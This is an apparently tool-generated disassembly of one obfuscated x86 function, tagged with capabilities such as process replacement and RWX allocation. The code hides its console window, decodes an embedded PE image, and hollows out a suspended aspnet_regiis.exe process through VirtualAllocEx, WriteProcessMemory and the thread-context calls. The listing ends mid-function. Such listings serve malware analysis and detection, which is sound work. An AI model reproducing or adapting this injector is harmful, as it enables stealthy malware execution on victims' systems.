Function at 0x100023a0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x138
mov eax, dword [0x10034600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x140], 0xd83a1e7f
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x144], eax
sub eax, 0x80fc082f
je 0x10003442
jmp 0x100023dc
mov eax, dword [ebp - 0x144]
sub eax, 0x8a5799cc
je 0x10003b21
jmp 0x100023f2
mov eax, dword [ebp - 0x144]
sub eax, 0x8b91d3cd
je 0x10004c71
jmp 0x10002408
mov eax, dword [ebp - 0x144]
sub eax, 0x8c8c3a00
je 0x10003bf6
jmp 0x1000241e
mov eax, dword [ebp - 0x144]
sub eax, 0x8cb02428
je 0x1000357a
jmp 0x10002434
mov eax, dword [ebp - 0x144]
sub eax, 0x8eeac64a
je 0x10004575
jmp 0x1000244a
mov eax, dword [ebp - 0x144]
sub eax, 0x8fb9fccb
je 0x10004f19
jmp 0x10002460
mov eax, dword [ebp - 0x144]
sub eax, 0x90f699f1
je 0x1000438c
jmp 0x10002476
mov eax, dword [ebp - 0x144]
sub eax, 0x9399a2f8
je 0x100041bf
jmp 0x1000248c
mov eax, dword [ebp - 0x144]
sub eax, 0x98dfc45f
je 0x10004139
jmp 0x100024a2
mov eax, dword [ebp - 0x144]
sub eax, 0x9ae491c3
je 0x10004ba3
jmp 0x100024b8
mov eax, dword [ebp - 0x144]
sub eax, 0xa27a5aaf
je 0x100037c8
jmp 0x100024ce
mov eax, dword [ebp - 0x144]
sub eax, 0xa302b56b
je 0x10003679
jmp 0x100024e4
mov eax, dword [ebp - 0x144]
sub eax, 0xa3870262
je 0x10002fee
jmp 0x100024fa
mov eax, dword [ebp - 0x144]
sub eax, 0xa54fdd07
je 0x10004c92
jmp 0x10002510
mov eax, dword [ebp - 0x144]
sub eax, 0xa80287f6
je 0x10004ee9
jmp 0x10002526
mov eax, dword [ebp - 0x144]
sub eax, 0xaa9b289a
je 0x10004775
jmp 0x1000253c
mov eax, dword [ebp - 0x144]
sub eax, 0xab3292e3
je 0x100033a0
jmp 0x10002552
mov eax, dword [ebp - 0x144]
sub eax, 0xacba8b57
je 0x1000402d
jmp 0x10002568
mov eax, dword [ebp - 0x144]
sub eax, 0xb2acfcee
je 0x1000410a
jmp 0x1000257e
mov eax, dword [ebp - 0x144]
sub eax, 0xb34473e4
je 0x10003e52
jmp 0x10002594
mov eax, dword [ebp - 0x144]
sub eax, 0xb83fd57f
je 0x10003e61
jmp 0x100025aa
mov eax, dword [ebp - 0x144]
sub eax, 0xba2ca2c2
je 0x10004b58
jmp 0x100025c0
mov eax, dword [ebp - 0x144]
sub eax, 0xbac2a9cc
je 0x10003b00
jmp 0x100025d6
mov eax, dword [ebp - 0x144]
sub eax, 0xbb356368
je 0x10004622
jmp 0x100025ec
mov eax, dword [ebp - 0x144]
sub eax, 0xc3ddd333
je 0x100046f8
jmp 0x10002602
mov eax, dword [ebp - 0x144]
sub eax, 0xc3f38cef
je 0x10004707
jmp 0x10002618
mov eax, dword [ebp - 0x144]
sub eax, 0xc466a73f
je 0x10003eb2
jmp 0x1000262e
mov eax, dword [ebp - 0x144]
sub eax, 0xc8a2c932
je 0x1000308d
jmp 0x10002644
mov eax, dword [ebp - 0x144]
sub eax, 0xcb0d9e17
je 0x10004deb
jmp 0x1000265a
mov eax, dword [ebp - 0x144]
sub eax, 0xcf017e56
je 0x10003d1e
jmp 0x10002670
mov eax, dword [ebp - 0x144]
sub eax, 0xd1690f22
je 0x10003a20
jmp 0x10002686
mov eax, dword [ebp - 0x144]
sub eax, 0xd3356ff7
je 0x100041f8
jmp 0x1000269c
mov eax, dword [ebp - 0x144]
sub eax, 0xd4063db3
je 0x10004631
jmp 0x100026b2
mov eax, dword [ebp - 0x144]
sub eax, 0xd5068998
je 0x10003688
jmp 0x100026c8
mov eax, dword [ebp - 0x144]
sub eax, 0xd67f39a5
je 0x10004812
jmp 0x100026de
mov eax, dword [ebp - 0x144]
sub eax, 0xd6aa83a3
je 0x1000439b
jmp 0x100026f4
mov eax, dword [ebp - 0x144]
sub eax, 0xd83a1e7f
je 0x10002e89
jmp 0x1000270a
mov eax, dword [ebp - 0x144]
sub eax, 0xda898a69
je 0x10003f76
jmp 0x10002720
mov eax, dword [ebp - 0x144]
sub eax, 0xda9a61fe
je 0x10003424
jmp 0x10002736
mov eax, dword [ebp - 0x144]
sub eax, 0xde18aafd
je 0x10004119
jmp 0x1000274c
mov eax, dword [ebp - 0x144]
sub eax, 0xdfa7e572
je 0x10004bb2
jmp 0x10002762
mov eax, dword [ebp - 0x144]
sub eax, 0xdfc5e7a9
je 0x10003962
jmp 0x10002778
mov eax, dword [ebp - 0x144]
sub eax, 0xe1a35508
je 0x10004491
jmp 0x1000278e
mov eax, dword [ebp - 0x144]
sub eax, 0xe1a693a0
je 0x10004e4e
jmp 0x100027a4
mov eax, dword [ebp - 0x144]
sub eax, 0xe3b98414
je 0x100042af
jmp 0x100027ba
mov eax, dword [ebp - 0x144]
sub eax, 0xe48b20c6
je 0x10003f67
jmp 0x100027d0
mov eax, dword [ebp - 0x144]
sub eax, 0xe56a28ec
je 0x1000423d
jmp 0x100027e6
mov eax, dword [ebp - 0x144]
sub eax, 0xe78f1db1
je 0x10004ab8
jmp 0x100027fc
mov eax, dword [ebp - 0x144]
sub eax, 0xe882a608
je 0x10003c05
jmp 0x10002812
mov eax, dword [ebp - 0x144]
sub eax, 0xe8c1dd87
je 0x100040e2
jmp 0x10002828
mov eax, dword [ebp - 0x144]
sub eax, 0xecbf06e7
je 0x1000312b
jmp 0x1000283e
mov eax, dword [ebp - 0x144]
sub eax, 0xedc8482a
je 0x100048fa
jmp 0x10002854
mov eax, dword [ebp - 0x144]
sub eax, 0xee868ee6
je 0x10003b72
jmp 0x1000286a
mov eax, dword [ebp - 0x144]
sub eax, 0xf01348ed
je 0x10003fa2
jmp 0x10002880
mov eax, dword [ebp - 0x144]
sub eax, 0xf24b0941
je 0x10002ef6
jmp 0x10002896
mov eax, dword [ebp - 0x144]
sub eax, 0xf524518a
je 0x10004a4f
jmp 0x100028ac
mov eax, dword [ebp - 0x144]
sub eax, 0xf6142f03
je 0x10003cc9
jmp 0x100028c2
mov eax, dword [ebp - 0x144]
sub eax, 0xf8106e44
je 0x10003433
jmp 0x100028d8
mov eax, dword [ebp - 0x144]
sub eax, 0xf9aaf100
je 0x10003309
jmp 0x100028ee
mov eax, dword [ebp - 0x144]
sub eax, 0xfef79ec0
je 0x10003f58
jmp 0x10002904
mov eax, dword [ebp - 0x144]
sub eax, 0x1b5e815
je 0x10004b67
jmp 0x1000291a
mov eax, dword [ebp - 0x144]
sub eax, 0x1bd9ab7
je 0x10005096
jmp 0x10002930
mov eax, dword [ebp - 0x144]
sub eax, 0x3957dd3
je 0x1000305e
jmp 0x10002946
mov eax, dword [ebp - 0x144]
sub eax, 0x72eee20
je 0x10004803
push eax
mov eax, esp
mov dword [ebp - 0x12c], eax
push eax
mov eax, esp
mov dword [ebp - 0x128], eax
push eax
mov eax, esp
mov dword [ebp - 0x124], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0x120], eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0x11c], eax
push eax
mov eax, esp
mov dword [ebp - 0x118], eax
push eax
mov eax, esp
mov dword [ebp - 0x114], eax
push eax
mov eax, esp
mov dword [ebp - 0x110], eax
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x140], 0xf24b0941
jmp 0x100050a0
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x1b600
call fcn.10001010
add esp, 8
lea eax, section..data
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x130], eax
mov eax, dword [ebp - 0x130]
movzx edx, word [eax]
mov eax, 0xdfa7e572
mov ecx, 0x2078f19a
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100050a0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 0x130]
add eax, 0x3c
mov dword [ebp - 0xe8], eax
mov eax, dword [0x10035938]
mov ecx, dword [0x10035934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x457f717b
mov ecx, 0x7032ac18
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100050a0
mov eax, dword [ebp - 0xe8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xec]
add eax, 0xe95050f4
add eax, ecx
sub eax, 0xe95050f4
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0x140], 0xc8a2c932
jmp 0x100050a0
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x138], eax
mov edx, dword [ebp - 0x138]
mov eax, 0x9ae491c3
mov ecx, 0x61d6dd7e
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100050a0
lea eax, [ebp - 0x24]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.100061f0
add esp, 0xc
lea eax, [ebp - 0x68]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.100061f0
add esp, 0xc
mov eax, dword [ebp - 0x138]
add eax, 0x18
add eax, 0x60
add eax, 0x70
mov dword [ebp - 0xe0], eax
mov ecx, dword [0x10035938]
mov eax, dword [0x10035934]
mov edx, ecx
sub edx, 0xc6f790fd
sub edx, 1
add edx, 0xc6f790fd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa54fdd07
mov ecx, 0x36c01fe2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100050a0
mov dl, byte [ebp - 0xd9]
mov eax, 0x646f025b
mov ecx, 0x80fc082f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100050a0
mov eax, dword [ebp - 0x12c]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov ecx, dword [0x10035938]
mov eax, dword [0x10035934]
mov edx, ecx
sub edx, 0x662420be
sub edx, 1
add edx, 0x662420be
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3fb5480c
mov ecx, 0xda9a61fe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100050a0
mov dword [ebp - 0x140], 0xf8106e44
jmp 0x100050a0
mov dword [ebp - 0x140], 0x80fc082f
jmp 0x100050a0
mov eax, dword [0x10035938]
mov ecx, dword [0x10035934]
mov edx, eax
sub edx, 0xe0255f6c
sub edx, 1
add edx, 0xe0255f6c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x81125bd
mov ecx, 0x5b5f419e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100050a0
mov edx, dword [ebp - 0xd8]
mov eax, 0xf28728f
mov ecx, 0x7d7b8b08
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100050a0
mov dword [ebp - 0x140], 0xd5068998
jmp 0x100050a0
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0x20]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov edx, eax
mov eax, 0xe78f1db1
mov ecx, 0x8bc7268
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100050a0
mov eax, dword [ebp - 0xcc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xd0]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0x124]
mov dword [eax], ecx
mov dword [ebp - 0x140], 0x4f55a06e
jmp 0x100050a0
mov dword [ebp - 0x140], 0x37febf58
jmp 0x100050a0
mov eax, dword [0x10035938]
mov ecx, dword [0x10035934]
mov edx, eax
add edx, 0x361983ed
sub edx, 1
sub edx, 0x361983ed
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6a1205e2
mov ecx, 0xe81c73f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100050a0
mov dl, byte [ebp - 0xb5]
mov eax, 0xb7ea0b6
mov ecx, 0x8a5799cc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100050a0
mov eax, dword [0x10035938]
mov ecx, dword [0x10035934]
mov edx, eax
sub edx, 0xee5303e9
sub edx, 1
add edx, 0xee5303e9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe1a693a0
mov ecx, 0xee868ee6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100050a0
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov dword [ebp - 0xb4], eax
mov ecx, dword [0x10035938]
mov eax, dword [0x10035934]
mov edx, ecx
sub edx, 0x2fb91084
sub edx, 1
add edx, 0x2fb91084
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe1a693a0
mov ecx, 0x8c8c3a00
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100050a0
mov dword [ebp - 0x140], 0xe882a608
jmp 0x100050a0
mov eax, dword [ebp - 0x108]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xb4]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x118]
mov edx, dword [edx]
mov esi, dword [ebp - 0x108]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0x14]
sub ecx, 0xa3909c62
add ecx, edx
add ecx, 0xa3909c62
mov edx, dword [ebp - 0x124]
mov edx, dword [edx]
mov esi, dword [ebp - 0x118]
mov esi, dword [esi]
mov edi, dword [ebp - 0x108]
imul edi, dword [edi], 0x28
add esi, edi
mov esi, dword [esi + 0xc]
sub edx, 0x7c3870ad
add edx, esi
add edx, 0x7c3870ad
mov esi, dword [ebp - 0x24]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x10c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x118]
mov esi, dword [eax]
mov eax, dword [ebp - 0x108]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0xe48b20c6
mov ecx, 0xf6142f03
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100050a0
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x108]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x108]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x140], 0xcf017e56
jmp 0x100050a0
mov ecx, dword [ebp - 0xac]
mov edx, dword [ebp - 0xa8]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor esi, esi
sub esi, eax
mov edx, dword [ebp - 0xb0]
mov eax, 0xe48b20c6
mov ecx, 0x21454b50
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100050a0
mov dword [ebp - 0x140], 0xb83fd57f
jmp 0x100050a0
mov eax, dword [0x10035938]
mov ecx, dword [0x10035934]
mov edx, eax
sub edx, 0xdf3e4256
sub edx, 1
add edx, 0xdf3e4256
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x680a8e7b
mov ecx, 0xc466a73f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100050a0
mov eax, dword [ebp - 0x108]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x9c]
imul ecx, ecx, 0x28
add eax, ecx
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0xa0]
add eax, 0x86f15777
sub eax, ecx
sub eax, 0x86f15777
mov ecx, dword [ebp - 0xa4]
add ecx, eax
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov ecx, dword [0x10035938]
mov eax, dword [0x10035934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x680a8e7b
mov ecx, 0xfef79ec0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100050a0
mov dword [ebp - 0x140], 0xe48b20c6
jmp 0x100050a0
mov dword [ebp - 0x140], 0xda898a69
jmp 0x100050a0
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x140], 0xf01348ed
jmp 0x100050a0
mov eax, dword [ebp - 0x108]
mov ecx, dword [ebp - 0x98]
mov dword [eax], ecx
mov dword [ebp - 0x140], 0x53ae6d76
jmp 0x100050a0
mov eax, dword [ebp - 0x94]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x8d], al
mov eax, dword [0x10035938]
mov ecx, dword [0x10035934]
mov edx, eax
sub edx, 0xb75bfcc0
sub edx, 1
add edx, 0xb75bfcc0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa80287f6
mov ecx, 0x49d8cbd7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100050a0
mov eax, dword [ebp - 0x88]
mov esi, dword [eax]
mov edx, dword [ebp - 0x8c]
mov eax, 0xedc8482a
mov ecx, 0xb2acfcee
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100050a0
mov dword [ebp - 0x140], 0xde18aafd
jmp 0x100050a0
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x140], 0x98dfc45f
jmp 0x100050a0
mov edx, dword [ebp - 0x84]
mov eax, 0x482a42c1
mov ecx, 0x1de2a64c
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100050a0
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x80]
add ecx, 0x2436359c
sub ecx, eax
sub ecx, 0x2436359c
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf8]
mov dword [eax], 0
mov dword [ebp - 0x140], 0xd3356ff7
jmp 0x100050a0
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x100]
cmp eax, dword [ecx]
setb al
and al, 1
mov byte [ebp - 0x76], al
mov dword [ebp - 0x140], 0x5d8f244c
jmp 0x100050a0
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf8]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*2]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf000
mov ecx, 0xffffffff
xor ecx, 0xcebfb87c
or eax, edx
or ecx, 0xcebfb87c
xor eax, 0xffffffff
and eax, ecx
cmp eax, 3
sete al
and al, 1
mov byte [ebp - 0x75], al
mov dword [ebp - 0x140], 0x78b71c55
jmp 0x100050a0
mov ecx, dword [0x10035938]
mov eax, dword [0x10035934]
mov edx, ecx
add edx, 0x29db2561
sub edx, 1
sub edx, 0x29db2561
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4a91453c
mov ecx, 0x5604f1a8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100050a0
mov dword [ebp - 0x140], 0xd6aa83a3
jmp 0x100050a0
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x74]
sub ecx, 0xccb43add
add ecx, eax
add ecx, 0xccb43add
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov edx, dword [ebp - 0xf8]
mov edx, dword [edx]
movzx edx, word [eax + edx*2]
mov esi, 0xffffffff
xor esi, 0xfff
mov eax, edx
xor eax, esi
and eax, edx
sub ecx, 0x57337497
add ecx, eax
add ecx, 0x57337497
mov eax, dword [ebp - 0xf4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf4]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xf0]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0xd4063db3
mov ecx, 0x4f665e1d
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100050a0
mov eax, dword [ebp - 0xfc]
mov edx, dword [eax]
mov eax, dword [ebp - 0xf0]
mov ecx, dword [eax]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov ecx, dword [0x10035938]
mov eax, dword [0x10035934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8fb9fccb
mov ecx, 0x436b77ef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100050a0
mov eax, dword [ebp - 0xf4]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xf0]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [0x10035938]
mov eax, dword [0x10035934]
mov edx, ecx
add edx, 0xcb6af505
sub edx, 1
sub edx, 0xcb6af505
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x75bd6080
mov ecx, 0xbb356368
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100050a0
mov dword [ebp - 0x140], 0xd4063db3
jmp 0x100050a0
mov ecx, dword [0x10035938]
mov eax, dword [0x10035934]
mov edx, ecx
sub edx, 0x8a8f6cee
sub edx, 1
add edx, 0x8a8f6cee
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4d3d2c77
mov ecx, 0x6dd7d1cf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100050a0
mov dword [ebp - 0x140], 0xc3f38cef
jmp 0x100050a0
mov ecx, dword [0x10035938]
mov eax, dword [0x10035934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x37ef19e6
mov ecx, 0xaa9b289a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100050a0
mov eax, dword [0x10035938]
mov ecx, dword [0x10035934]
mov edx, eax
sub edx, 0xaad7d0d4
sub edx, 1
add edx, 0xaad7d0d4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x37ef19e6
mov ecx, 0xaccd127
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100050a0
mov eax, dword [0x10035938]
mov ecx, dword [0x10035934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x12e67b75
mov ecx, 0x6fa42a57
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100050a0
mov eax, dword [0x10035938]
mov ecx, dword [0x10035934]
mov edx, eax
add edx, 0x4b2c3ae0
sub edx, 1
sub edx, 0x4b2c3ae0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6daec534
mov ecx, 0x1857c1d5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100050a0
mov dword [ebp - 0x140], 0x21c16912
jmp 0x100050a0
mov eax, dword [0x10035938]
mov ecx, dword [0x10035934]
mov edx, eax
add edx, 0xc3eeb356
sub edx, 1
sub edx, 0xc3eeb356
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
